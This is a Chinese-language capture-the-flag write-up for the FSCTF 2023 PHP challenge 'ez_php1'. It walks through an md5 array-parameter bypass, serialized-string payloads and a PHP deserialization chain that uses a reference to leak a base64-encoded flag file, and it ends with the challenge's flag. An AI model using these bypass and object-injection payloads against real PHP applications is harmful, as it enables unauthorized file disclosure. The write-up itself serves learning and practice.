[FSCTF 2023]ez_php1
点开之后是一段php代码:
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{echo "!!!";$c = $_POST['FL_AG'];if(isset($c)){if (preg_match('/^.*(flag).*$/', $ja)) {echo 'You are bad guy!!!';}else {echo "Congratulation!!";echo $hint1;}}else {echo "Please input my love FL_AG";}
} else{die("game over!");
}
?>
game over!
这段代码通过接收两个 GET 参数和一个 POST 参数来进行一系列的逻辑判断和输出。主要目的是在满足特定条件下输出不同的提示信息,可能涉及到一个简单的挑战或游戏。
以下是对代码的详解:
<?php
highlight_file(__FILE__);以语法高亮的形式输出
当前文件的内容,通常用于调试或查看代码结构。
error_reporting(0);关闭 PHP 的错误报告,这样
在脚本执行过程中不会显示任何错误信息。
include "globals.php";包含名为 “globals.php” 的
文件,可能包含一些全局变量或函数的定义,具体内容
取决于这个文件的内容。
$a = $_GET['b'];从 URL 的 GET 参数中获取名
为 “b” 的值,并赋值给变量$a。
$b = $_GET['a'];从 URL 的 GET 参数中获取名
为 “a” 的值,并赋值给变量$b。
if($a!=$b&&md5($a)==md5($b))
{echo "!!!";/*$a!=$b:检查变量$a和$b的值是否不相等。md5($a)==md5($b):检查变量$a和$b经过 MD5 哈希后的结果是否相等。
如果这两个条件同时满足,则执行大括号内的代码。如果满足上述条件,
输出三个感叹号。*/$c = $_POST['FL_AG'];从 POST 请求中获取名为 “FL_AG” 的值,并赋值给变量$c。if(isset($c))检查变量$c是否被设置,如果是,则执行大括号内的代码{if (preg_match('/^.*(flag).*$/', $ja)) {echo 'You are bad guy!!!';使用正则表达式检查变量$ja中是否包含字符串 “flag”。但是在给出的代码中,并没有看到对$ja变量的赋值操作,这可能是一个错误或者遗漏。如果匹配成功,输出 “You are bad guy!!!”。}else {echo "Congratulation!!";echo $hint1;如果正则表达式匹配失败,输出 “Congratulation!!” 以及一个可能在 “globals.php” 文件中定义的变量$hint1的内容。}}else {echo "Please input my love FL_AG";}
} else{die("game over!");如果一开始的条件不满足(即$a=$b或者md5($a)!=md5($b)),输出 “game over!”并终止脚本执行。
}
?>
game over!
然后我们使用数组绕过,构造:
?a[]=1&b[]=2
我们得到了:
提示让我们输入FL_AG的值,由源码可知这里需要使用POST传参,然后我们得到:
然后我们直接访问/L0vey0U.php得到:
这是一个简单的反序列化,直接构造poc链子:
<?php
$str="YES I love";
echo serialize($str);
?>
利用在线php工具运行得到:
构造payload,get传参:
?str=s:10:"YES I love";
得到新的提示:P0int.php,我们直接访问/P0int.php,
得到了一串新的php代码:
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{public $a;public $b;public function __wakeup(){$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");}public function __destruct(){echo $this->b;}
}
@unserialize($_POST['data']);?>
这又是一个反序列化,构造脚本如下:
<?php
class Clazz
{public $a;public $b;public function __wakeup(){$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");}public function __destruct(){echo $this->b;}
}
$c=new Clazz();
$c->a=&$c->b;
echo serialize($c);
?>
用网页php在线工具运行以下得到:
接着构造payload,post传参:
data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
运行之后得到:
然后我们用base64在线解码工具解码后得到flag:
由此得到本题flag为:
FLAG{y0u_are_l0ve!!!}